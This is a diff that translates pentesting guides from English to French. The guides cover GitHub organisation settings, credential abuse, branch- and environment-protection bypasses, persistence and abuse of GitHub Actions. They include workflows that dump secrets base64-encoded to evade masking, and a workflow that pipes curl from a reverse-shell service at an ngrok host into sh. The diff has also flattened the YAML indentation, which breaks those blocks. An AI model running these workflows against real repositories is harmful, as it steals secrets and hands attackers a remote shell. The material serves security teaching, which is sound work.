-- **Base permissions**: Members will have the permission None/Read/write/Admin over the org repositories. Recommended is **None** or **Read**.
-- **Repository forking**: If not necessary, it's better to **not allow** members to fork organization repositories.
-- **Pages creation**: If not necessary, it's better to **not allow** members to publish pages from the org repos. If necessary you can allow to create public or private pages.
-- **Integration access requests**: With this enabled outside collaborators will be able to request access for GitHub or OAuth apps to access this organization and its resources. It's usually needed, but if not, it's better to disable it.
-  - _I couldn't find this info in the APIs response, share if you do_
-- **Repository visibility change**: If enabled, **members** with **admin** permissions for the **repository** will be able to **change its visibility**. If disabled, only organization owners can change repository visibilities. If you **don't** want people to make things **public**, make sure this is **disabled**.
-  - _I couldn't find this info in the APIs response, share if you do_
-- **Repository deletion and transfer**: If enabled, members with **admin** permissions for the repository will be able to **delete** or **transfer** public and private **repositories.**
-  - _I couldn't find this info in the APIs response, share if you do_
-- **Allow members to create teams**: If enabled, any **member** of the organization will be able to **create** new **teams**. If disabled, only organization owners can create new teams. It's better to have this disabled.
-  - _I couldn't find this info in the APIs response, share if you do_
-- **More things can be configured** in this page but the previous are the ones more security related.
+- **Permissions de base** : Les membres auront la permission Aucune/Lire/Écrire/Admin sur les dépôts de l'organisation. Il est recommandé de choisir **Aucune** ou **Lire**.
+- **Forking de dépôt** : Si ce n'est pas nécessaire, il est préférable de **ne pas autoriser** les membres à forker les dépôts de l'organisation.
+- **Création de pages** : Si ce n'est pas nécessaire, il est préférable de **ne pas autoriser** les membres à publier des pages à partir des dépôts de l'organisation. Si nécessaire, vous pouvez autoriser la création de pages publiques ou privées.
+- **Demandes d'accès à l'intégration** : Avec cela activé, les collaborateurs externes pourront demander l'accès aux applications GitHub ou OAuth pour accéder à cette organisation et à ses ressources. C'est généralement nécessaire, mais si ce n'est pas le cas, il est préférable de le désactiver.
+- _Je n'ai pas trouvé cette info dans la réponse des API, partagez si vous le faites_
+- **Changement de visibilité du dépôt** : Si activé, les **membres** avec des permissions **admin** pour le **dépôt** pourront **changer sa visibilité**. Si désactivé, seuls les propriétaires de l'organisation peuvent changer les visibilités des dépôts. Si vous **ne** voulez pas que les gens rendent les choses **publiques**, assurez-vous que cela est **désactivé**.
+- _Je n'ai pas trouvé cette info dans la réponse des API, partagez si vous le faites_
+- **Suppression et transfert de dépôt** : Si activé, les membres avec des permissions **admin** pour le dépôt pourront **supprimer** ou **transférer** des **dépôts** publics et privés.
+- _Je n'ai pas trouvé cette info dans la réponse des API, partagez si vous le faites_
+- **Autoriser les membres à créer des équipes** : Si activé, tout **membre** de l'organisation pourra **créer** de nouvelles **équipes**. Si désactivé, seuls les propriétaires de l'organisation peuvent créer de nouvelles équipes. Il est préférable d'avoir cela désactivé.
+- _Je n'ai pas trouvé cette info dans la réponse des API, partagez si vous le faites_
+- **D'autres choses peuvent être configurées** sur cette page, mais les précédentes sont celles qui sont les plus liées à la sécurité.
 
-### Actions Settings
+### Paramètres des Actions
 
-Several security related settings can be configured for actions from the page `https://github.com/organizations/<org_name>/settings/actions`.
+Plusieurs paramètres liés à la sécurité peuvent être configurés pour les actions depuis la page `https://github.com/organizations/<org_name>/settings/actions`.
 
 > [!NOTE]
-> Note that all this configurations can also be set on each repository independently
+> Notez que toutes ces configurations peuvent également être définies sur chaque dépôt indépendamment.
 
-- **Github actions policies**: It allows you to indicate which repositories can tun workflows and which workflows should be allowed. It's recommended to **specify which repositories** should be allowed and not allow all actions to run.
-  - [**API-1**](https://docs.github.com/en/rest/actions/permissions#get-allowed-actions-and-reusable-workflows-for-an-organization)**,** [**API-2**](https://docs.github.com/en/rest/actions/permissions#list-selected-repositories-enabled-for-github-actions-in-an-organization)
-- **Fork pull request workflows from outside collaborators**: It's recommended to **require approval for all** outside collaborators.
-  - _I couldn't find an API with this info, share if you do_
-- **Run workflows from fork pull requests**: It's highly **discouraged to run workflows from pull requests** as maintainers of the fork origin will be given the ability to use tokens with read permissions on the source repository.
-  - _I couldn't find an API with this info, share if you do_
-- **Workflow permissions**: It's highly recommended to **only give read repository permissions**. It's discouraged to give write and create/approve pull requests permissions to avoid the abuse of the GITHUB_TOKEN given to running workflows.
-  - [**API**](https://docs.github.com/en/rest/actions/permissions#get-default-workflow-permissions-for-an-organization)
+- **Politiques des actions Github** : Cela vous permet d'indiquer quels dépôts peuvent exécuter des workflows et quels workflows doivent être autorisés. Il est recommandé de **spécifier quels dépôts** doivent être autorisés et de ne pas permettre à toutes les actions de s'exécuter.
+- [**API-1**](https://docs.github.com/en/rest/actions/permissions#get-allowed-actions-and-reusable-workflows-for-an-organization)**,** [**API-2**](https://docs.github.com/en/rest/actions/permissions#list-selected-repositories-enabled-for-github-actions-in-an-organization)
+- **Workflows de demandes de tirage de forks de collaborateurs externes** : Il est recommandé de **demander une approbation pour tous** les collaborateurs externes.
+- _Je n'ai pas trouvé d'API avec cette info, partagez si vous le faites_
+- **Exécuter des workflows à partir de demandes de tirage de forks** : Il est fortement **déconseillé d'exécuter des workflows à partir de demandes de tirage** car les mainteneurs de l'origine du fork auront la possibilité d'utiliser des jetons avec des permissions de lecture sur le dépôt source.
+- _Je n'ai pas trouvé d'API avec cette info, partagez si vous le faites_
+- **Permissions des workflows** : Il est fortement recommandé de **donner uniquement des permissions de lecture sur le dépôt**. Il est déconseillé de donner des permissions d'écriture et de création/d'approbation de demandes de tirage pour éviter l'abus du GITHUB_TOKEN donné aux workflows en cours d'exécution.
+- [**API**](https://docs.github.com/en/rest/actions/permissions#get-default-workflow-permissions-for-an-organization)
 
-### Integrations
+### Intégrations
 
-_Let me know if you know the API endpoint to access this info!_
+_Faites-moi savoir si vous connaissez le point de terminaison de l'API pour accéder à cette info !_
 
-- **Third-party application access policy**: It's recommended to restrict the access to every application and allow only the needed ones (after reviewing them).
-- **Installed GitHub Apps**: It's recommended to only allow the needed ones (after reviewing them).
+- **Politique d'accès aux applications tierces** : Il est recommandé de restreindre l'accès à chaque application et de n'autoriser que celles nécessaires (après les avoir examinées).
+- **Applications GitHub installées** : Il est recommandé de n'autoriser que celles nécessaires (après les avoir examinées).
 
-## Recon & Attacks abusing credentials
+## Reconnaissance & Attaques abusant des identifiants
 
-For this scenario we are going to suppose that you have obtained some access to a github account.
+Pour ce scénario, nous allons supposer que vous avez obtenu un accès à un compte github.
 
-### With User Credentials
+### Avec les identifiants utilisateur
 
-If you somehow already have credentials for a user inside an organization you can **just login** and check which **enterprise and organization roles you have**, if you are a raw member, check which **permissions raw members have**, in which **groups** you are, which **permissions you have** over which **repos,** and **how are the repos protected.**
+Si vous avez d'une manière ou d'une autre déjà des identifiants pour un utilisateur au sein d'une organisation, vous pouvez **vous connecter** et vérifier quels **rôles d'entreprise et d'organisation vous avez**, si vous êtes un membre ordinaire, vérifiez quels **permissions ont les membres ordinaires**, dans quels **groupes** vous êtes, quelles **permissions vous avez** sur quels **dépôts**, et **comment les dépôts sont protégés**.
 
-Note that **2FA may be used** so you will only be able to access this information if you can also **pass that check**.
+Notez que **2FA peut être utilisé**, donc vous ne pourrez accéder à ces informations que si vous pouvez également **passer cette vérification**.
 
 > [!NOTE]
-> Note that if you **manage to steal the `user_session` cookie** (currently configured with SameSite: Lax) you can **completely impersonate the user** without needing credentials or 2FA.
+> Notez que si vous **parvenez à voler le cookie `user_session`** (actuellement configuré avec SameSite: Lax), vous pouvez **complètement usurper l'identité de l'utilisateur** sans avoir besoin d'identifiants ou de 2FA.
 
-Check the section below about [**branch protections bypasses**](./#branch-protection-bypass) in case it's useful.
+Vérifiez la section ci-dessous sur les [**contournements de protections de branches**](./#branch-protection-bypass) au cas où cela serait utile.
 
-### With User SSH Key
+### Avec la clé SSH de l'utilisateur
 
-Github allows **users** to set **SSH keys** that will be used as **authentication method to deploy code** on their behalf (no 2FA is applied).
-
-With this key you can perform **changes in repositories where the user has some privileges**, however you can not sue it to access github api to enumerate the environment. However, you can get **enumerate local settings** to get information about the repos and user you have access to:
+Github permet aux **utilisateurs** de définir des **clés SSH** qui seront utilisées comme **méthode d'authentification pour déployer du code** en leur nom (aucune 2FA n'est appliquée).
 
+Avec cette clé, vous pouvez effectuer **des modifications dans les dépôts où l'utilisateur a des privilèges**, cependant vous ne pouvez pas l'utiliser pour accéder à l'API github pour énumérer l'environnement. Cependant, vous pouvez **énumérer les paramètres locaux** pour obtenir des informations sur les dépôts et l'utilisateur auquel vous avez accès :
 ```bash
 # Go to the the repository folder
 # Get repo config and current user name and email
 git config --list
 ```
+Si l'utilisateur a configuré son nom d'utilisateur comme son nom d'utilisateur github, vous pouvez accéder aux **clés publiques qu'il a définies** dans son compte à _https://github.com/\<github_username>.keys_, vous pouvez vérifier cela pour confirmer que la clé privée que vous avez trouvée peut être utilisée.
 
-If the user has configured its username as his github username you can access the **public keys he has set** in his account in _https://github.com/\<github_username>.keys_, you could check this to confirm the private key you found can be used.
+Les **clés SSH** peuvent également être définies dans les dépôts en tant que **clés de déploiement**. Quiconque ayant accès à cette clé pourra **lancer des projets à partir d'un dépôt**. En général, sur un serveur avec différentes clés de déploiement, le fichier local **`~/.ssh/config`** vous donnera des informations sur la clé à laquelle il est lié.
 
-**SSH keys** can also be set in repositories as **deploy keys**. Anyone with access to this key will be able to **launch projects from a repository**. Usually in a server with different deploy keys the local file **`~/.ssh/config`** will give you info about key is related.
+#### Clés GPG
 
-#### GPG Keys
-
-As explained [**here**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-ci-cd/github-security/broken-reference/README.md) sometimes it's needed to sign the commits or you might get discovered.
-
-Check locally if the current user has any key with:
+Comme expliqué [**ici**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-ci-cd/github-security/broken-reference/README.md), il est parfois nécessaire de signer les commits sinon vous pourriez être découvert.
 
+Vérifiez localement si l'utilisateur actuel a une clé avec :
 ```shell
 gpg --list-secret-keys --keyid-format=long
 ```
+### Avec le jeton utilisateur
 
-### With User Token
+Pour une introduction sur [**les jetons utilisateur, consultez les informations de base**](basic-github-information.md#personal-access-tokens).
 
-For an introduction about [**User Tokens check the basic information**](basic-github-information.md#personal-access-tokens).
+Un jeton utilisateur peut être utilisé **au lieu d'un mot de passe** pour Git via HTTPS, ou peut être utilisé pour [**s'authentifier à l'API via l'authentification de base**](https://docs.github.com/v3/auth/#basic-authentication). Selon les privilèges qui y sont attachés, vous pourriez être en mesure d'effectuer différentes actions.
 
-A user token can be used **instead of a password** for Git over HTTPS, or can be used to [**authenticate to the API over Basic Authentication**](https://docs.github.com/v3/auth/#basic-authentication). Depending on the privileges attached to it you might be able to perform different actions.
+Un jeton utilisateur ressemble à ceci : `ghp_EfHnQFcFHX6fGIu5mpduvRiYR584kK0dX123`
 
-A User token looks like this: `ghp_EfHnQFcFHX6fGIu5mpduvRiYR584kK0dX123`
+### Avec l'application Oauth
 
-### With Oauth Application
+Pour une introduction sur [**les applications Oauth de Github, consultez les informations de base**](basic-github-information.md#oauth-applications).
 
-For an introduction about [**Github Oauth Applications check the basic information**](basic-github-information.md#oauth-applications).
+Un attaquant pourrait créer une **application Oauth malveillante** pour accéder aux données/actions privilégiées des utilisateurs qui les acceptent probablement dans le cadre d'une campagne de phishing.
 
-An attacker might create a **malicious Oauth Application** to access privileged data/actions of the users that accepts them probably as part of a phishing campaign.
+Voici les [portées qu'une application Oauth peut demander](https://docs.github.com/en/developers/apps/building-oauth-apps/scopes-for-oauth-apps). Un utilisateur doit toujours vérifier les portées demandées avant de les accepter.
 
-These are the [scopes an Oauth application can request](https://docs.github.com/en/developers/apps/building-oauth-apps/scopes-for-oauth-apps). A should always check the scopes requested before accepting them.
+De plus, comme expliqué dans les informations de base, **les organisations peuvent donner/refuser l'accès aux applications tierces** aux informations/repos/actions liées à l'organisation.
 
-Moreover, as explained in the basic information, **organizations can give/deny access to third party applications** to information/repos/actions related with the organisation.
+### Avec l'application Github
 
-### With Github Application
+Pour une introduction sur [**les applications Github, consultez les informations de base**](basic-github-information.md#github-applications).
 
-For an introduction about [**Github Applications check the basic information**](basic-github-information.md#github-applications).
+Un attaquant pourrait créer une **application Github malveillante** pour accéder aux données/actions privilégiées des utilisateurs qui les acceptent probablement dans le cadre d'une campagne de phishing.
 
-An attacker might create a **malicious Github Application** to access privileged data/actions of the users that accepts them probably as part of a phishing campaign.
+De plus, comme expliqué dans les informations de base, **les organisations peuvent donner/refuser l'accès aux applications tierces** aux informations/repos/actions liées à l'organisation.
 
-Moreover, as explained in the basic information, **organizations can give/deny access to third party applications** to information/repos/actions related with the organisation.
+## Compromettre et abuser de l'action Github
 
-## Compromise & Abuse Github Action
-
-There are several techniques to compromise and abuse a Github Action, check them here:
+Il existe plusieurs techniques pour compromettre et abuser d'une action Github, consultez-les ici :
 
 {{#ref}}
 abusing-github-actions/
 {{#endref}}
 
-## Branch Protection Bypass
+## Contournement de la protection des branches
 
-- **Require a number of approvals**: If you compromised several accounts you might just accept your PRs from other accounts. If you just have the account from where you created the PR you cannot accept your own PR. However, if you have access to a **Github Action** environment inside the repo, using the **GITHUB_TOKEN** you might be able to **approve your PR** and get 1 approval this way.
-  - _Note for this and for the Code Owners restriction that usually a user won't be able to approve his own PRs, but if you are, you can abuse it to accept your PRs._
-- **Dismiss approvals when new commits are pushed**: If this isn’t set, you can submit legit code, wait till someone approves it, and put malicious code and merge it into the protected branch.
-- **Require reviews from Code Owners**: If this is activated and you are a Code Owner, you could make a **Github Action create your PR and then approve it yourself**.
-  - When a **CODEOWNER file is missconfigured** Github doesn't complain but it does't use it. Therefore, if it's missconfigured it's **Code Owners protection isn't applied.**
-- **Allow specified actors to bypass pull request requirements**: If you are one of these actors you can bypass pull request protections.
-- **Include administrators**: If this isn’t set and you are admin of the repo, you can bypass this branch protections.
-- **PR Hijacking**: You could be able to **modify the PR of someone else** adding malicious code, approving the resulting PR yourself and merging everything.
-- **Removing Branch Protections**: If you are an **admin of the repo you can disable the protections**, merge your PR and set the protections back.
-- **Bypassing push protections**: If a repo **only allows certain users** to send push (merge code) in branches (the branch protection might be protecting all the branches specifying the wildcard `*`).
-  - If you have **write access over the repo but you are not allowed to push code** because of the branch protection, you can still **create a new branch** and within it create a **github action that is triggered when code is pushed**. As the **branch protection won't protect the branch until it's created**, this first code push to the branch will **execute the github action**.
+- **Exiger un nombre d'approbations** : Si vous avez compromis plusieurs comptes, vous pourriez simplement accepter vos PR depuis d'autres comptes. Si vous n'avez que le compte à partir duquel vous avez créé la PR, vous ne pouvez pas accepter votre propre PR. Cependant, si vous avez accès à un environnement **Github Action** à l'intérieur du dépôt, en utilisant le **GITHUB_TOKEN**, vous pourriez être en mesure d'**approuver votre PR** et d'obtenir 1 approbation de cette manière.
+- _Note pour cela et pour la restriction des propriétaires de code que généralement un utilisateur ne pourra pas approuver ses propres PR, mais si vous le pouvez, vous pouvez en abuser pour accepter vos PR._
+- **Rejeter les approbations lorsque de nouveaux commits sont poussés** : Si cela n'est pas configuré, vous pouvez soumettre du code légitime, attendre qu'il soit approuvé, puis ajouter du code malveillant et le fusionner dans la branche protégée.
+- **Exiger des revues des propriétaires de code** : Si cela est activé et que vous êtes un propriétaire de code, vous pourriez faire en sorte qu'une **action Github crée votre PR et que vous l'approuviez vous-même**.
+- Lorsqu'un **fichier CODEOWNER est mal configuré**, Github ne se plaint pas mais ne l'utilise pas. Par conséquent, s'il est mal configuré, **la protection des propriétaires de code n'est pas appliquée.**
+- **Autoriser des acteurs spécifiés à contourner les exigences de demande de tirage** : Si vous êtes l'un de ces acteurs, vous pouvez contourner les protections de demande de tirage.
+- **Inclure les administrateurs** : Si cela n'est pas configuré et que vous êtes administrateur du dépôt, vous pouvez contourner ces protections de branche.
+- **Détournement de PR** : Vous pourriez être en mesure de **modifier la PR de quelqu'un d'autre** en ajoutant du code malveillant, en approuvant la PR résultante vous-même et en fusionnant le tout.
+- **Suppression des protections de branche** : Si vous êtes **administrateur du dépôt, vous pouvez désactiver les protections**, fusionner votre PR et rétablir les protections.
+- **Contourner les protections de poussée** : Si un dépôt **n'autorise que certains utilisateurs** à envoyer des poussées (fusionner du code) dans des branches (la protection de branche pourrait protéger toutes les branches en spécifiant le caractère générique `*`).
+- Si vous avez **un accès en écriture sur le dépôt mais que vous n'êtes pas autorisé à pousser du code** en raison de la protection de branche, vous pouvez toujours **créer une nouvelle branche** et à l'intérieur, créer une **action github qui est déclenchée lorsque du code est poussé**. Comme la **protection de branche ne protégera pas la branche tant qu'elle n'est pas créée**, ce premier envoi de code vers la branche **exécutera l'action github**.
 
-## Bypass Environments Protections
+## Contournement des protections des environnements
 
-For an introduction about [**Github Environment check the basic information**](basic-github-information.md#git-environments).
+Pour une introduction sur [**l'environnement Github, consultez les informations de base**](basic-github-information.md#git-environments).
 
-In case an environment can be **accessed from all the branches**, it's **isn't protected** and you can easily access the secrets inside the environment. Note that you might find repos where **all the branches are protected** (by specifying its names or by using `*`) in that scenario, **find a branch were you can push code** and you can **exfiltrate** the secrets creating a new github action (or modifying one).
-
-Note, that you might find the edge case where **all the branches are protected** (via wildcard `*`) it's specified **who can push code to the branches** (_you can specify that in the branch protection_) and **your user isn't allowed**. You can still run a custom github action because you can create a branch and use the push trigger over itself. The **branch protection allows the push to a new branch so the github action will be triggered**.
+Dans le cas où un environnement peut être **accessible depuis toutes les branches**, il **n'est pas protégé** et vous pouvez facilement accéder aux secrets à l'intérieur de l'environnement. Notez que vous pourriez trouver des dépôts où **toutes les branches sont protégées** (en spécifiant leurs noms ou en utilisant `*`), dans ce scénario, **trouvez une branche où vous pouvez pousser du code** et vous pouvez **exfiltrer** les secrets en créant une nouvelle action github (ou en en modifiant une).
 
+Notez que vous pourriez trouver le cas limite où **toutes les branches sont protégées** (via le caractère générique `*`), il est spécifié **qui peut pousser du code vers les branches** (_vous pouvez spécifier cela dans la protection de branche_) et **votre utilisateur n'est pas autorisé**. Vous pouvez toujours exécuter une action github personnalisée car vous pouvez créer une branche et utiliser le déclencheur de poussée sur elle-même. La **protection de branche permet la poussée vers une nouvelle branche, donc l'action github sera déclenchée**.
 ```yaml
 push: # Run it when a push is made to a branch
-  branches:
-    - current_branch_name #Use '**' to run when a push is made to any branch
+branches:
+- current_branch_name #Use '**' to run when a push is made to any branch
 ```
+Notez que **après la création** de la branche, la **protection de la branche s'appliquera à la nouvelle branche** et vous ne pourrez pas la modifier, mais à ce moment-là, vous aurez déjà extrait les secrets.
 
-Note that **after the creation** of the branch the **branch protection will apply to the new branch** and you won't be able to modify it, but for that time you will have already dumped the secrets.
+## Persistance
 
-## Persistence
+- Générer **un token utilisateur**
+- Voler **des tokens github** à partir des **secrets**
+- **Suppression** des **résultats** de workflow et des **branches**
+- Donner **plus de permissions à toute l'organisation**
+- Créer des **webhooks** pour exfiltrer des informations
+- Inviter des **collaborateurs externes**
+- **Supprimer** les **webhooks** utilisés par le **SIEM**
+- Créer/modifier une **Github Action** avec une **porte dérobée**
+- Trouver une **Github Action vulnérable à l'injection de commandes** via la modification de la valeur **secrète**
 
-- Generate **user token**
-- Steal **github tokens** from **secrets**
-  - **Deletion** of workflow **results** and **branches**
-- Give **more permissions to all the org**
-- Create **webhooks** to exfiltrate information
-- Invite **outside collaborators**
-- **Remove** **webhooks** used by the **SIEM**
-- Create/modify **Github Action** with a **backdoor**
-- Find **vulnerable Github Action to command injection** via **secret** value modification
+### Commits d'imposteur - Porte dérobée via des commits de repo
 
-### Imposter Commits - Backdoor via repo commits
-
-In Github it's possible to **create a PR to a repo from a fork**. Even if the PR is **not accepted**, a **commit** id inside the orginal repo is going to be created for the fork version of the code. Therefore, an attacker **could pin to use an specific commit from an apparently ligit repo that wasn't created by the owner of the repo**.
-
-Like [**this**](https://github.com/actions/checkout/commit/c7d749a2d57b4b375d1ebcd17cfbfb60c676f18e):
+Dans Github, il est possible de **créer une PR pour un repo à partir d'un fork**. Même si la PR n'est **pas acceptée**, un **commit** id à l'intérieur du repo original va être créé pour la version fork du code. Par conséquent, un attaquant **pourrait épingler à utiliser un commit spécifique d'un repo apparemment légitime qui n'a pas été créé par le propriétaire du repo**.
 
+Comme [**ceci**](https://github.com/actions/checkout/commit/c7d749a2d57b4b375d1ebcd17cfbfb60c676f18e):
 ```yaml
 name: example
 on: [push]
 jobs:
-  commit:
-    runs-on: ubuntu-latest
-    steps:
-      - uses: actions/checkout@c7d749a2d57b4b375d1ebcd17cfbfb60c676f18e
-      - shell: bash
-        run: |
-          echo 'hello world!'
+commit:
+runs-on: ubuntu-latest
+steps:
+- uses: actions/checkout@c7d749a2d57b4b375d1ebcd17cfbfb60c676f18e
+- shell: bash
+run: |
+echo 'hello world!'
 ```
-
-For more info check [https://www.chainguard.dev/unchained/what-the-fork-imposter-commits-in-github-actions-and-ci-cd](https://www.chainguard.dev/unchained/what-the-fork-imposter-commits-in-github-actions-and-ci-cd)
+Pour plus d'informations, consultez [https://www.chainguard.dev/unchained/what-the-fork-imposter-commits-in-github-actions-and-ci-cd](https://www.chainguard.dev/unchained/what-the-fork-imposter-commits-in-github-actions-and-ci-cd)
 
 {{#include ../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-ci-cd/github-security/abusing-github-actions/README.md b/src/pentesting-ci-cd/github-security/abusing-github-actions/README.md
index c5ce0467b..fdf1c644e 100644
--- a/src/pentesting-ci-cd/github-security/abusing-github-actions/README.md
+++ b/src/pentesting-ci-cd/github-security/abusing-github-actions/README.md
@@ -4,389 +4,371 @@
 
 ## Basic Information
 
-In this page you will find:
+Dans cette page, vous trouverez :
 
-- A **summary of all the impacts** of an attacker managing to access a Github Action
-- Different ways to **get access to an action**:
-  - Having **permissions** to create the action
-  - Abusing **pull request** related triggers
-  - Abusing **other external access** techniques
-  - **Pivoting** from an already compromised repo
-- Finally, a section about **post-exploitation techniques to abuse an action from inside** (cause the mentioned impacts)
+- Un **résumé de tous les impacts** d'un attaquant parvenant à accéder à une Github Action
+- Différentes manières de **get access to an action** :
+- Avoir des **permissions** pour créer l'action
+- Abuser des déclencheurs liés aux **pull request**
+- Abuser d'autres techniques d'accès **externes**
+- **Pivoting** à partir d'un dépôt déjà compromis
+- Enfin, une section sur les **techniques de post-exploitation pour abuser d'une action de l'intérieur** (causant les impacts mentionnés)
 
 ## Impacts Summary
 
-For an introduction about [**Github Actions check the basic information**](../basic-github-information.md#github-actions).
+Pour une introduction sur [**Github Actions, consultez les informations de base**](../basic-github-information.md#github-actions).
 
-If you can **execute arbitrary code in GitHub Actions** within a **repository**, you may be able to:
+Si vous pouvez **exécuter du code arbitraire dans GitHub Actions** au sein d'un **repository**, vous pourriez être en mesure de :
 
-- **Steal secrets** mounted to the pipeline and **abuse the pipeline's privileges** to gain unauthorized access to external platforms, such as AWS and GCP.
-- **Compromise deployments** and other **artifacts**.
-  - If the pipeline deploys or stores assets, you could alter the final product, enabling a supply chain attack.
-- **Execute code in custom workers** to abuse computing power and pivot to other systems.
-- **Overwrite repository code**, depending on the permissions associated with the `GITHUB_TOKEN`.
+- **Voler des secrets** montés dans le pipeline et **abuser des privilèges du pipeline** pour obtenir un accès non autorisé à des plateformes externes, telles qu'AWS et GCP.
+- **Compromettre des déploiements** et d'autres **artifacts**.
+- Si le pipeline déploie ou stocke des actifs, vous pourriez altérer le produit final, permettant une attaque de la chaîne d'approvisionnement.
+- **Exécuter du code dans des workers personnalisés** pour abuser de la puissance de calcul et pivoter vers d'autres systèmes.
+- **Écraser le code du repository**, en fonction des permissions associées au `GITHUB_TOKEN`.
 
 ## GITHUB_TOKEN
 
-This "**secret**" (coming from `${{ secrets.GITHUB_TOKEN }}` and `${{ github.token }}`) is given when the admin enables this option:
+Ce "**secret**" (provenant de `${{ secrets.GITHUB_TOKEN }}` et `${{ github.token }}`) est donné lorsque l'administrateur active cette option :
 
 <figure><img src="../../../images/image (86).png" alt=""><figcaption></figcaption></figure>
 
-This token is the same one a **Github Application will use**, so it can access the same endpoints: [https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps](https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps)
+Ce token est le même qu'une **Github Application utilisera**, donc il peut accéder aux mêmes points de terminaison : [https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps](https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps)
 
 > [!WARNING]
-> Github should release a [**flow**](https://github.com/github/roadmap/issues/74) that **allows cross-repository** access within GitHub, so a repo can access other internal repos using the `GITHUB_TOKEN`.
+> Github devrait publier un [**flow**](https://github.com/github/roadmap/issues/74) qui **permet l'accès inter-repository** au sein de GitHub, afin qu'un repo puisse accéder à d'autres repos internes en utilisant le `GITHUB_TOKEN`.
 
-You can see the possible **permissions** of this token in: [https://docs.github.com/en/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token](https://docs.github.com/en/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token)
+Vous pouvez voir les **permissions** possibles de ce token ici : [https://docs.github.com/en/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token](https://docs.github.com/en/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token)
 
-Note that the token **expires after the job has completed**.\
-These tokens looks like this: `ghs_veaxARUji7EXszBMbhkr4Nz2dYz0sqkeiur7`
+Notez que le token **expire après la fin du job**.\
+Ces tokens ressemblent à ceci : `ghs_veaxARUji7EXszBMbhkr4Nz2dYz0sqkeiur7`
 
-Some interesting things you can do with this token:
+Certaines choses intéressantes que vous pouvez faire avec ce token :
 
 {{#tabs }}
 {{#tab name="Merge PR" }}
-
 ```bash
 # Merge PR
 curl -X PUT \
-    https://api.github.com/repos/<org_name>/<repo_name>/pulls/<pr_number>/merge \
-    -H "Accept: application/vnd.github.v3+json" \
-    --header "authorization: Bearer $GITHUB_TOKEN" \
-    --header "content-type: application/json" \
-    -d "{\"commit_title\":\"commit_title\"}"
+https://api.github.com/repos/<org_name>/<repo_name>/pulls/<pr_number>/merge \
+-H "Accept: application/vnd.github.v3+json" \
+--header "authorization: Bearer $GITHUB_TOKEN" \
+--header "content-type: application/json" \
+-d "{\"commit_title\":\"commit_title\"}"
 ```
-
 {{#endtab }}
-{{#tab name="Approve PR" }}
-
+{{#tab name="Approuver PR" }}
 ```bash
 # Approve a PR
 curl -X POST \
-    https://api.github.com/repos/<org_name>/<repo_name>/pulls/<pr_number>/reviews \
-    -H "Accept: application/vnd.github.v3+json" \
-    --header "authorization: Bearer $GITHUB_TOKEN" \
-    --header 'content-type: application/json' \
-    -d '{"event":"APPROVE"}'
+https://api.github.com/repos/<org_name>/<repo_name>/pulls/<pr_number>/reviews \
+-H "Accept: application/vnd.github.v3+json" \
+--header "authorization: Bearer $GITHUB_TOKEN" \
+--header 'content-type: application/json' \
+-d '{"event":"APPROVE"}'
 ```
-
 {{#endtab }}
-{{#tab name="Create PR" }}
-
+{{#tab name="Créer PR" }}
 ```bash
 # Create a PR
 curl -X POST \
-  -H "Accept: application/vnd.github.v3+json" \
-  --header "authorization: Bearer $GITHUB_TOKEN" \
-    --header 'content-type: application/json' \
-  https://api.github.com/repos/<org_name>/<repo_name>/pulls \
-  -d '{"head":"<branch_name>","base":"master", "title":"title"}'
+-H "Accept: application/vnd.github.v3+json" \
+--header "authorization: Bearer $GITHUB_TOKEN" \
+--header 'content-type: application/json' \
+https://api.github.com/repos/<org_name>/<repo_name>/pulls \
+-d '{"head":"<branch_name>","base":"master", "title":"title"}'
 ```
-
 {{#endtab }}
 {{#endtabs }}
 
 > [!CAUTION]
-> Note that in several occasions you will be able to find **github user tokens inside Github Actions envs or in the secrets**. These tokens may give you more privileges over the repository and organization.
+> Notez qu'à plusieurs reprises, vous pourrez trouver **des jetons d'utilisateur github dans les environnements Github Actions ou dans les secrets**. Ces jetons peuvent vous donner plus de privilèges sur le dépôt et l'organisation.
 
 <details>
 
-<summary>List secrets in Github Action output</summary>
-
+<summary>Liste des secrets dans la sortie de Github Action</summary>
 ```yaml
 name: list_env
 on:
-  workflow_dispatch: # Launch manually
-  pull_request: #Run it when a PR is created to a branch
-    branches:
-      - "**"
-  push: # Run it when a push is made to a branch
-    branches:
-      - "**"
+workflow_dispatch: # Launch manually
+pull_request: #Run it when a PR is created to a branch
+branches:
+- "**"
+push: # Run it when a push is made to a branch
+branches:
+- "**"
 jobs:
-  List_env:
-    runs-on: ubuntu-latest
-    steps:
-      - name: List Env
-        # Need to base64 encode or github will change the secret value for "***"
-        run: sh -c 'env | grep "secret_" | base64 -w0'
-        env:
-          secret_myql_pass: ${{secrets.MYSQL_PASSWORD}}
-          secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
+List_env:
+runs-on: ubuntu-latest
+steps:
+- name: List Env
+# Need to base64 encode or github will change the secret value for "***"
+run: sh -c 'env | grep "secret_" | base64 -w0'
+env:
+secret_myql_pass: ${{secrets.MYSQL_PASSWORD}}
+secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
 ```
-
 </details>
 
 <details>
 
-<summary>Get reverse shell with secrets</summary>
-
+<summary>Obtenir un shell inversé avec des secrets</summary>
 ```yaml
 name: revshell
 on:
-  workflow_dispatch: # Launch manually
-  pull_request: #Run it when a PR is created to a branch
-    branches:
-      - "**"
-  push: # Run it when a push is made to a branch
-    branches:
-      - "**"
+workflow_dispatch: # Launch manually
+pull_request: #Run it when a PR is created to a branch
+branches:
+- "**"
+push: # Run it when a push is made to a branch
+branches:
+- "**"
 jobs:
-  create_pull_request:
-    runs-on: ubuntu-latest
-    steps:
-      - name: Get Rev Shell
-        run: sh -c 'curl https://reverse-shell.sh/2.tcp.ngrok.io:15217 | sh'
-        env:
-          secret_myql_pass: ${{secrets.MYSQL_PASSWORD}}
-          secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
+create_pull_request:
+runs-on: ubuntu-latest
+steps:
+- name: Get Rev Shell
